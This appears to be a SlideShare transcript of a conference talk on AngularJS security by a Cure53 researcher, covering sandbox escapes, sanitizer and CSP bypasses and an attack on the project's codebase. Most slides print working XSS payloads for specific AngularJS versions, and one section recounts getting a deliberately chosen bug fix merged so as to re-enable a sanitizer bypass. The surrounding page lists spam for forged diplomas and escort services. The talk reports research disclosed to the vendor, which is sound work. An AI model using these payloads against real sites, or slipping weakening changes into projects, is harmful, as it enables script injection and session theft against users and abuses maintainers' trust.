Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
 
Dev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityDev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT Security
 
HTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the UglyHTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the Ugly
 
I thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupI thought you were my friend - Malicious Markup
I thought you were my friend - Malicious Markup
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010
 
Web Wuermer
Web WuermerWeb Wuermer
Web Wuermer
 
JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009
 
The Ultimate IDS Smackdown
The Ultimate IDS SmackdownThe Ultimate IDS Smackdown
The Ultimate IDS Smackdown
 
I thought you were my friend!
I thought you were my friend!I thought you were my friend!
I thought you were my friend!
 
Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8
 

Recently uploaded

『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书
『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书
『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书rnrncn29
 
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书zdzoqco
 
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170Sonam Pathan
 
Q4-1-Illustrating-Hypothesis-Testing.pptx
Q4-1-Illustrating-Hypothesis-Testing.pptxQ4-1-Illustrating-Hypothesis-Testing.pptx
Q4-1-Illustrating-Hypothesis-Testing.pptxeditsforyah
 
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一z xss
 
Film cover research (1).pptxsdasdasdasdasdasa
Film cover research (1).pptxsdasdasdasdasdasaFilm cover research (1).pptxsdasdasdasdasdasa
Film cover research (1).pptxsdasdasdasdasdasa494f574xmv
 
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作ys8omjxb
 
SCM Symposium PPT Format Customer loyalty is predi
SCM Symposium PPT Format Customer loyalty is prediSCM Symposium PPT Format Customer loyalty is predi
SCM Symposium PPT Format Customer loyalty is predieusebiomeyer
 
『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书
『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书
『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书rnrncn29
 
Unidad 4 – Redes de ordenadores (en inglés).pptx
Unidad 4 – Redes de ordenadores (en inglés).pptxUnidad 4 – Redes de ordenadores (en inglés).pptx
Unidad 4 – Redes de ordenadores (en inglés).pptxmibuzondetrabajo
 
Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24Paul Calvano
 
Top 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptxTop 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptxDyna Gilbert
 
PHP-based rendering of TYPO3 Documentation
PHP-based rendering of TYPO3 DocumentationPHP-based rendering of TYPO3 Documentation
PHP-based rendering of TYPO3 DocumentationLinaWolf1
 
NSX-T and Service Interfaces presentation
NSX-T and Service Interfaces presentationNSX-T and Service Interfaces presentation
NSX-T and Service Interfaces presentationMarko4394
 
Internet of Things Presentation (IoT).pptx
Internet of Things Presentation (IoT).pptxInternet of Things Presentation (IoT).pptx
Internet of Things Presentation (IoT).pptxErYashwantJagtap
 
Contact Rya Baby for Call Girls New Delhi
Contact Rya Baby for Call Girls New DelhiContact Rya Baby for Call Girls New Delhi
Contact Rya Baby for Call Girls New Delhimiss dipika
 

Recently uploaded (17)

『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书
『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书
『澳洲文凭』买詹姆士库克大学毕业证书成绩单办理澳洲JCU文凭学位证书
 
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
 
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170
 
Q4-1-Illustrating-Hypothesis-Testing.pptx
Q4-1-Illustrating-Hypothesis-Testing.pptxQ4-1-Illustrating-Hypothesis-Testing.pptx
Q4-1-Illustrating-Hypothesis-Testing.pptx
 
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
 
Hot Sexy call girls in Rk Puram 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in  Rk Puram 🔝 9953056974 🔝 Delhi escort ServiceHot Sexy call girls in  Rk Puram 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in Rk Puram 🔝 9953056974 🔝 Delhi escort Service
 
Film cover research (1).pptxsdasdasdasdasdasa
Film cover research (1).pptxsdasdasdasdasdasaFilm cover research (1).pptxsdasdasdasdasdasa
Film cover research (1).pptxsdasdasdasdasdasa
 
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作
Potsdam FH学位证,波茨坦应用技术大学毕业证书1:1制作
 
SCM Symposium PPT Format Customer loyalty is predi
SCM Symposium PPT Format Customer loyalty is prediSCM Symposium PPT Format Customer loyalty is predi
SCM Symposium PPT Format Customer loyalty is predi
 
『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书
『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书
『澳洲文凭』买拉筹伯大学毕业证书成绩单办理澳洲LTU文凭学位证书
 
Unidad 4 – Redes de ordenadores (en inglés).pptx
Unidad 4 – Redes de ordenadores (en inglés).pptxUnidad 4 – Redes de ordenadores (en inglés).pptx
Unidad 4 – Redes de ordenadores (en inglés).pptx
 
Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24
 
Top 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptxTop 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptx
 
PHP-based rendering of TYPO3 Documentation
PHP-based rendering of TYPO3 DocumentationPHP-based rendering of TYPO3 Documentation
PHP-based rendering of TYPO3 Documentation
 
NSX-T and Service Interfaces presentation
NSX-T and Service Interfaces presentationNSX-T and Service Interfaces presentation
NSX-T and Service Interfaces presentation
 
Internet of Things Presentation (IoT).pptx
Internet of Things Presentation (IoT).pptxInternet of Things Presentation (IoT).pptx
Internet of Things Presentation (IoT).pptx
 
Contact Rya Baby for Call Girls New Delhi
Contact Rya Baby for Call Girls New DelhiContact Rya Baby for Call Girls New Delhi
Contact Rya Baby for Call Girls New Delhi
 

An Abusive Relationship with AngularJS

  • 1. An Abusive Relationship with AngularJS About the Security Adventures with the "Super-Hero" Framework A talk by Mario Heiderich mario@cure53.de || @0x6D6172696F
  • 2. Godzilla in your DOM ● Dr.-Ing. Mario Heiderich ● Researcher and Post-Doc, Ruhr-Uni Bochum ● PhD Thesis about Client Side Security and Defense ● Founder of Cure53 ● Pentest- & Security-Firm located in Berlin ● Security, Consulting, Workshops, Trainings ● Simply the Best Company in the World ● Published Author and Speaker ● Specialized on HTML5, DOM and SVG Security ● JavaScript, XSS and Client Side Attacks ● HTML5 Security Cheatsheet ● And DOMPurify! ● @0x6D6172696F ● mario@cure53.de
  • 5. What is AngularJS? ● Popular JavaScript MVC ● Model-View-Whatever actually ● Self-proclaimed “Superheroic Framework” ● Maintained and recommended by Google ● Polarizing Philosophy ● Ever-growing user-base ● Large rate of adoption ● Heavy traffic on GitHub repository
  • 6. Why AngularJS ● It's not the first time I've been talking about AngularJS and its shenanigans. ● We've been whaling on AngularJS for quite some time actually. ● Here for example. ● Leading to a strange discussion. ● Is it personal? No. The reasons are different.
  • 7.
  • 8. Relationship Reasons ● It's exposing a large amount of ...self-love. ● Superheroic framework. ● It's changing ways websites work. ● It breaks the API often and makes upgrades harder. ● It assumes to be smarter than HTML and works with “markup sugar”. ● It will break everything in upcoming version 2.0. ● We saw yesterday how that will look like.
  • 9.
  • 10. The Honey Boo Boo of MVC?
  • 11. Maybe Not ● AngularJS has fairly high security standards. ● The security level is great if the rules are being followed. ● By developers and maintainers. Both. ● And anything complex running in the browser must know the browser. ● The web security paradox of layers. ● Network, Server, Browser, Framework, User, … and all the ways back to the network.
  • 12. It's better to design your application in such a way that users cannot change client-side templates. For instance: Do not mix client and server templates Do not use user input to generate templates dynamically Do not run user input through $scope.$eval Consider using CSP (but don't rely only on CSP) https://docs.angularjs.org/guide/security
  • 14. Four General Attack-Vectors ● A1: Attacking the Sandbox ● A2: Attacking the Sanitizer ● A3: Attacking the CSP Mode ● A4: Attacking the Codebase
  • 15. A1
  • 16. A1: The AngularJS Sandbox ● The AngularJS Sandbox is a weird creature with strange motivations. ● According to the documents, it's not a security tool. ● It is mostly meant to “get devs off that DOM”. ● Mean, to limit exposure of the original DOM to avoid its pitfalls. ● The AngularJS sandbox is in place for expressions and several directives. ● User input reflected in an expression often means immediate XSS. The sandbox prevents that.
  • 17. A1: First Bypasses ● Bypassing the sandbox in early AngularJS versions was trivial. ● {{constructor.constructor('alert(1)')()}} ● That's it. Access the scope object's constructor, next access constructor again, get Function, done. ● Function('code here')(); // like an eval ● This attack works starting with version AngularJS 1.0 and stops working in 1.2.0. ● Sadly, many sites still employ AngularJS 1.1.x. ● And have difficulties upgrading due to API changes. Or simply don't care about upgrades.
  • 18. <!-- Bypassing Sandboxes, Toddler-style --!> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js"> </script> <div class="ng-app"> {{ constructor.constructor('alert(1)')() }} </div>
  • 19. A1: First Fixes ● AngularJS reacted to this and implemented fixes. Because “no security tool”, right? ● This was done by restricting access to Function (and other dangerous objects) ● So, we needed to get Function from somewhere else. ● Somewhere, where AngularJS doesn't notice we have access to it. ● ES5, Callbacks and __proto__ help here!
  • 20. A1: More Bypasses ● AngularJS' parser was actually quite smart. ● Bypasses needed to be more creative. ● Finders are Jann Horn, Mathias Karlsson and Gábor Molnár ● And luckily, we had Object to provide methods to get Function from. ● Or mentioned callbacks. ● Let's dissect those for a brief moment.
  • 21. <!-- Jann Horn's Bypass --!> <html ng-app> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.18/angular.js" ></script> </head> <body> {{ (_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor ( _.__proto__,$).value,0,'alert(1)')() }} </body>
  • 22. <!-- A Variation for AngularJS by moi, specifically for 1.2.0 --!> <html ng-app> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.js" ></script> </head> <body> {{ a="constructor";b={}; a.sub.call.call(b[a].getOwnPropertyDescriptor( b[a].getPrototypeOf( a.sub),a).value,0,'alert(1)')() }} </body>
  • 23. <!-- Mathias Karlsson's Bypass --> <html ng-app> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.js"> </script> </head> <body> {{ toString.constructor.prototype.toString =toString.constructor.prototype.call; ["a","alert(1)"].sort(toString.constructor) }} </body> </html>
  • 24. <!-- Gábor Molnár's Bypass --> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.0/angular.js"> </script> <body ng-app> {{ !ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(42);' )) ); }} </body> </html>
  • 25. <!-- Bypass via attributes, no user interaction → <!-- Open that page with #foo in the URL --> <!doctype html> <html> <head> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular.js" > </script> </head> <body> <a id="foo" ng-app ng- focus="$event.view.location.replace('javascript:document.write(docume nt.domain)')" contenteditable="true"></a> </body> </html>
  • 26. A1: Extreme Bypasses ● Jann Horn reported another bypass for 1.3.2 and it's insane
  • 27. <!-- Jann's rather extreme Bypass --> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.2/angular.js"></script> <body ng-app ng-csp> {{ objectPrototype = ({})[['__proto__']]; objectPrototype[['__defineSetter__']]('$parent', $root.$$postDigest); $root.$$listenerCount[['constructor']] = 0; $root.$$listeners = [].map; $root.$$listeners.indexOf = [].map.bind; functionPrototype = [].map[['__proto__']]; functionToString = functionPrototype.toString; functionPrototype.push = ({}).valueOf; functionPrototype.indexOf = [].map.bind; foo = $root.$on('constructor', null); functionPrototype.toString = $root.$new; foo(); }} {{ functionPrototype.toString = functionToString; functionPrototype.indexOf = null; functionPrototype.push = null; $root.$$listeners = {}; baz ? 0 : $root.$$postDigestQueue[0]('alert(location)')(); baz = true;'' }} </body> </html>
  • 28. A1: Current State ● What about versions 1.3.2 to latest? ● Any publicly known sandbox bypasses? ● Access to pretty much everything has been restricted. ● No window, no Function, no Object, no call() or apply(), no document, no DOM nodes ● And all other interesting things the parser cannot understand. RegExp, “new”, anonymous functions. ● Is that the end of the road? ● Let's have a look!
  • 29. <!-- Jann Horn's latest Bypass --> <html> <head> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.5/angular.js" ></script> </head> <body ng-app> {{ 'this is how you write a number properly. also, numbers are basically arrays.'; 0[['__proto__']].toString = [][['__proto__']].pop; 0[['__proto__']][0] = 'alert("TROLOLOLn"+document.location)'; 0[['__proto__']].length = 1; 'did you know that angularjs eval parses, then re-stringifies numbers? :)'; $root.$eval("x=0", $root); }} </body> </html>
  • 30. <!-- Gareth's Bypasses, fixed in 1.5.0-rc2 --> 1.4.7 {{'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)');}} 1.3.15 {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; 'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)//');}} 1.2.28 {{''.constructor.prototype.charAt=''.valueOf; $eval("x='"+alert(1)+"'");}} Read more here: http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html
  • 32.
  • 33. A1: User Interaction ● And there is of course variations, the maintainers cannot really do much about. ● For example copy&paste, my favorite.
  • 34. <!-- Bypass using Copy&Paste in Firefox --> <meta charset="UTF-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.9/angular.min.js"> </script> <body ng-app=""> <input ng-copy=" $event.preventDefault(); $event.clipboardData.setData('text/html','&lt;div contenteditable=&quot;false&quot;&gt;&lt;svg&gt;&lt;a xlink:href=&quot;?&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;&lt;circle r=&quot;500&quot; fill=&quot;red&quot;&gt;&lt;/circle&gt;&lt;animate attributeName=&quot;xlink:href&quot; from=&quot;javascript:alert(1)&quot; to=&quot;&amp;&quot; begin=&quot;0&quot;&gt;&lt;/animate&gt;&lt;/a&gt;&lt;/svg&gt;&lt;/div &gt') " value="Copy Me"> <div contenteditable>PASTE HERE</div> </body> </html>
  • 35.
  • 36. A2
  • 37. A2: The Sanitizer ● AngularJS has an integrated HTML sanitizer. ● It's a component called $sanitize. ● It's purpose is to wash away XSS attacks from a string of HTML. ● And return a clean string of HTML ready for safe and secure usage. ● There is two major versions, one horrible version, one that's not so bad.
  • 38. A2: The Old Sanitizer ● The Old Sanitizer uses an actual HTML parser from 2008. ● That old thing from John E. Resig. ● It's extremely strict, hard to configure, crashes literally all the time. ● We published a test-case where you can play with it. ● And it can be bypassed if some likely prerequisites are met. ● Because of Chrome. ● Also, a friendly hat-tip to Gareth Heyes!
  • 40. A2: The New Sanitizer ● The New Sanitizer is still ugly. But it uses the DOM instead of a parser. ● Namely, document.implementation, just like DOMPurify ● It is still very strict, even more so since now it forbids SVG by default. Boo. ● Early versions did not and were “bypassable”. ● And SVG is admittedly tricky to handle. ● New versions do and are still “bypassable”. ● Because of Chrome. Again. ● Cheers, Roman Shafigullin.
  • 41. Affected Characters: &#5760; &#8192; &#8193; &#8194; &#8195; &#8196; &#8197; &#8198; &#8199; &#8200; &#8201; &#8202; &#8232; &#8287; A classic mXSS in Chrome!
  • 42.
  • 43. A3
  • 44. A3: Attacking the CSP Mode ● Contrary to many other frameworks, AngularJS works well together with CSP. ● CSP? Content Security Policy. ● The wannabe “XSS Killer”. ● And it has to, otherwise it wouldn't be deployable in extensions and alike. ● Its compatibility with CSP is a strength and a weakness at the same time. ● We are interested in the latter of course.
  • 45. A3: Early CSP Bypasses ● The first spotted bypasses were trivial to say the least. Just use Framework features. ● Take a website with strong CSP and older AngularJS. ● Find an injection. ● Don't do "onclick="alert(1)" ● But instead do "ng-click="$event.view.alert(1)". ● Because $event leaks window via view. ● This works until version 1.1.5.
  • 46. <?php header('Content-Security-Policy: default-src 'self' ajax.googleapis.com'); ?><html ng-app ng-csp> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.js" ></script> </head> <body> <h1 ng-click="$event.view.alert(1)">XSS</h1> <h1 ng:click="$event.view.alert(2)">XSS</h1> <h1 x-ng-click="$event.view.alert(3)">XSS</h1> <h1 data-ng-click="$event.view.alert(4)">XSS</h1> <h1 _-_-_-ng_-_-_click="$event.view.alert(5)">XSS</h1> </body> </html>
  • 47. A3: Fixes and new Bypasses ● Why not use the sandbox here as well? ● AngularJS started to prevent access to window and other properties. ● So we would do it indirectly, abusing a Chrome flaw, with the help of Blob. ● But for Blob we would need the “new” operator and AngularJS doesn't parse that. ● So we need to resort to using ES6 and the brand new Reflect API. ● This works until version 1.3.1 by the way. ● And latest Chrome supports ES6's Reflect API! Yay :D
  • 48. <?php header('Content-Security-Policy: default-src 'self' ajax.googleapis.com'); ?><html ng-app ng-csp> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular.js" ></script> </head> <body> <h1 ng-click=" $event.view.location.replace($event.view.URL.createObjectURL($event. view.Reflect.construct( $event.view.Blob, [['<script>alert(1)</script>'],{type:'text/html'}]))) ">XSS</h1> <!-- without CSP we can of course do this --> <h1 ng- click="$event.view.location.replace('javascript:alert(1)')">XSS</h1> </body>
  • 49. <!-- read from bottom to top --> <h1 ng-click=" $event.view.location.replace( // 4. call location.replace $event.view.URL.createObjectURL( // 3. create Blob URL $event.view.Reflect.construct( // 2. get around “new” $event.view.Blob, [['<script>alert(1)</script>'], {type:'text/html'}] // 1. build a Blob ) ) ); ">XSS</h1>
  • 50. A3: Universal CSP Bypass ● There's another bypass they cannot easily fix. ● It works where applications use the Google CDN. ● And it relates to a collision check they implemented. Only too late. ● Because it landed in 1.2.15 and newer. ● “WARNING: Tried to load angular more than once.” ● And essentially enables a downgrade attack. ● That will, if Google CDN is white-listed, universally bypass CSP. Don't white-list that CDN. ● Just bring the old bypasses back!
  • 51. <?php header('Content-Security-Policy: default-src 'self' ajax.googleapis.com'); ?><html ng-app ng-csp> <head> <meta charset="utf-8"> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.9/angular.js" ></script> </head> <body> <h1 class=""><script/src=//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/ angular.js></script><h1/ng- click=$event.view.alert(1)//>CLICKME"></h1> </body>
  • 52.
  • 53. A4
  • 54. A4: Attacking the Code-Base ● What does an attacker do if no exploitable bugs can be found? ● Of course. We attack the project itself. ● And use the power of open source to introduce changes that cause the bugs we want. ● And thereby get both praise for reporting a bug and the desired exploit for free. ● We did that to AngularJS. ● Google Security knew in advance, AngularJS did not.
  • 55. A4: The Con-Setup ● We needed a subtle “bug” that upon being fixed would raise a security issue. ● Or smuggle in a pull request that looks unsuspicious enough to pass QA. ● The first option is unlikely, like a lottery win. ● The second option is a bit more risky, what if we get detected? ● Well. ● We were lucky, that exact subtle “bug” existed and it did in the $sanitizer component. ● Let's have a look!
  • 56. A4: The Bug // SVG attributes (without "id" and "name" attributes) // https://wiki.whatwg.org/wiki/Sanitization_rules#svg_Attributes var svgAttrs = makeMap('accent-height,accumulate,additive,alphabetic,arabic-form,ascent,' + 'attributeName,attributeType,baseProfile,bbox,begin,by,calcMode,cap-height,class,color,' + 'color-rendering,content,cx,cy,d,dx,dy,descent,display,dur,end,fill,fill-rule,font-family,' + 'font-size,font-stretch,font-style,font-variant,font-weight,from,fx,fy,g1,g2,glyph-name,' + 'gradientUnits,hanging,height,horiz-adv-x,horiz-origin-x,ideographic,k,keyPoints,' + 'keySplines,keyTimes,lang,marker-end,marker-mid,marker-start,markerHeight,markerUnits,' + 'markerWidth,mathematical,max,min,offset,opacity,orient,origin,overline-position,' + 'overline-thickness,panose-1,path,pathLength,points,preserveAspectRatio,r,refX,refY,' + 'repeatCount,repeatDur,requiredExtensions,requiredFeatures,restart,rotate,rx,ry,slope,stemh,' + 'stemv,stop-color,stop-opacity,strikethrough-position,strikethrough-thickness,stroke,' + 'stroke-dasharray,stroke-dashoffset,stroke-linecap,stroke-linejoin,stroke-miterlimit,' + 'stroke-opacity,stroke-width,systemLanguage,target,text-anchor,to,transform,type,u1,u2,' + 'underline-position,underline-thickness,unicode,unicode-range,units-per-em,values,version,' + 'viewBox,visibility,width,widths,x,x-height,x1,x2,xlink:actuate,xlink:arcrole,xlink:role,' + 'xlink:show,xlink:title,xlink:type,xml:base,xml:lang,xml:space,xmlns,xmlns:xlink,y,y1,y2,' + 'zoomAndPan'); Fun fact, those attributes were considered safe because of a deprecated Wiki page from WHATWG: https://wiki.whatwg.org/wiki/Sanitization_rules
  • 57. A4: The Bug angular.forEach(attrs, function(value, key) { var lkey = angular.lowercase(key); // < here! var isImage = (tag === 'img' && lkey === 'src') || (lkey === 'background'); if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) { out(' '); out(key); out('="'); out(encodeEntities(value)); out('"'); } } ); As we can see, the lowercasing ruins the test – and even valid attributes cannot pass. What a coincidence, that this happens exactly for dangerous attributes here! Thanks, SVG!
  • 58. A4: The Execution ● So, if that specific behavior observed in the sanitizer blocks a bypass... ● We need to file a bug to get it fixed! ● The bug. Not the bypass :) ● So we did that. ● And it got accepted!
  • 59. A4: The Bypass <svg> <a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?"> <circle r="400"></circle> <animate attributeName="xlink:href" begin="0" from="javascript:alert(1)" to="&" /> </a> </svg> We use an animation to animate a link's href attribute from a benign, over a dangerous to a harmless but invalid state, causing the browser to jump back to the malicious state. Neat.
  • 60. A4: The Aftermath ● We reported the issue to Google Security. ● They informed the AngularJS Team. ● Nothing happened for weeks. ● The next release came close. Danger! ● We pinged again. ● They finally fixed our bug. ● Phew :) ● Now, note that file contains a big comment warning the developers.
  • 61. /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Any commits to this file should be reviewed with security in mind. * * Changes to this file can potentially create security vulnerabilities. * * An approval from 2 Core members with history of modifying * * this file is required. * * * * Does the change somehow allow for arbitrary javascript to be executed? * * Or allows for someone to change the prototype of built-in objects? * * Or gives undesired access to variables likes document or window? * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
  • 62. And, in case you hate us a bit for doing that stunt...
  • 63. We even got Bug Bounty for that in the end! :D
  • 64.
  • 65. A Quick Conclusion ● AngularJS does in fact extend the attack surface dramatically. Older versions even more. ● Meanwhile, some things are done right. Others can almost never be fixed again. ● Developers have to know pitfalls to avoid them. ● And we find MANY of these in penetration tests: MANY. ● And pitfalls often are unfairly hard to detect and avoid. Especially when CSP is involved. ● Many sites still use older versions. Many. ● Open Source can be risky if the traction is high. ● Google's team already does well though. ● But Google could do better in helping developers.
  • 66. The End ● Question? Comments? ● Thanks a lot! ● Shouts go out to ● Gareth McHeyes ● Jann Horn ● Mathias Karlsson ● Gábor Molnár ● David Ross ● Eduardo Vela ● The AngularJS team for so much XSS :D